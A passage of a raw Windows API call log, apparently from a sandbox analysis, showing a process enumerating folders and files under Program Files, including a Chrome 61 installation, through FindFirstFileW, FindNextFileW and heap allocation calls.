(HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba4878a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0266.967] GetProcessHeap () returned 0xc10000 [0266.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.968] GetProcessHeap () returned 0xc10000 [0266.968] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.968] GetProcessHeap () returned 0xc10000 [0266.968] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba48bb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.969] GetProcessHeap () returned 0xc10000 [0266.969] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.970] GetProcessHeap () returned 0xc10000 [0266.970] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\msadc\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.972] GetProcessHeap () returned 0xc10000 [0266.972] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb05d7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0266.972] GetProcessHeap () returned 0xc10000 [0266.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.973] GetProcessHeap () returned 0xc10000 [0266.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.973] GetProcessHeap () returned 0xc10000 [0266.973] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0266.975] GetProcessHeap () returned 0xc10000 [0266.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb5aeab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0266.977] GetProcessHeap () returned 0xc10000 [0266.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.977] GetProcessHeap () returned 0xc10000 [0266.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.977] GetProcessHeap () returned 0xc10000 [0266.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0266.978] GetProcessHeap () returned 0xc10000 [0266.978] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0266.979] GetProcessHeap () returned 0xc10000 [0266.979] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0266.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0266.988] GetProcessHeap () returned 0xc10000 [0266.988] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0266.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0266.990] GetProcessHeap () returned 0xc10000 [0266.990] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0266.992] GetProcessHeap () returned 0xc10000 [0266.992] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.153] GetProcessHeap () returned 0xc10000 [0267.153] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0267.159] GetProcessHeap () returned 0xc10000 [0267.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.159] GetProcessHeap () returned 0xc10000 [0267.159] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0267.160] GetProcessHeap () returned 0xc10000 [0267.160] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.161] GetProcessHeap () returned 0xc10000 [0267.161] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0267.162] GetProcessHeap () returned 0xc10000 [0267.162] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.162] GetProcessHeap () returned 0xc10000 [0267.162] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0267.166] GetProcessHeap () returned 0xc10000 [0267.167] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.167] GetProcessHeap () returned 0xc10000 [0267.167] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0267.168] GetProcessHeap () returned 0xc10000 [0267.168] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.168] GetProcessHeap () returned 0xc10000 [0267.168] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0267.290] GetProcessHeap () returned 0xc10000 [0267.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.291] GetProcessHeap () returned 0xc10000 [0267.291] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0267.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0267.292] GetProcessHeap () returned 0xc10000 [0267.292] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0267.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0267.293] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.293] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0267.293] GetProcessHeap () returned 0xc10000 [0267.293] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0267.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0267.517] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.517] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef5754, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x491b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0267.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef7e64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="WIDEVI~1.SIG")) returned 1 [0267.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f98a0ce, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~2.DLL")) returned 1 [0267.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 1 [0267.518] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 0 [0267.518] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0267.519] GetProcessHeap () returned 0xc10000 [0267.519] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0267.519] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0 [0267.519] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0267.519] GetProcessHeap () returned 0xc10000 [0267.519] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0267.520] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0267.520] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0267.520] GetProcessHeap () returned 0xc10000 [0267.520] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0267.522] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0267.522] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.522] GetProcessHeap () returned 0xc10000 [0267.522] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0267.522] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0267.522] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0267.523] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe050290c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f46e, dwReserved0=0x0, dwReserved1=0x0, cFileName="master_preferences", cAlternateFileName="MASTER~1")) returned 1 [0267.523] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, 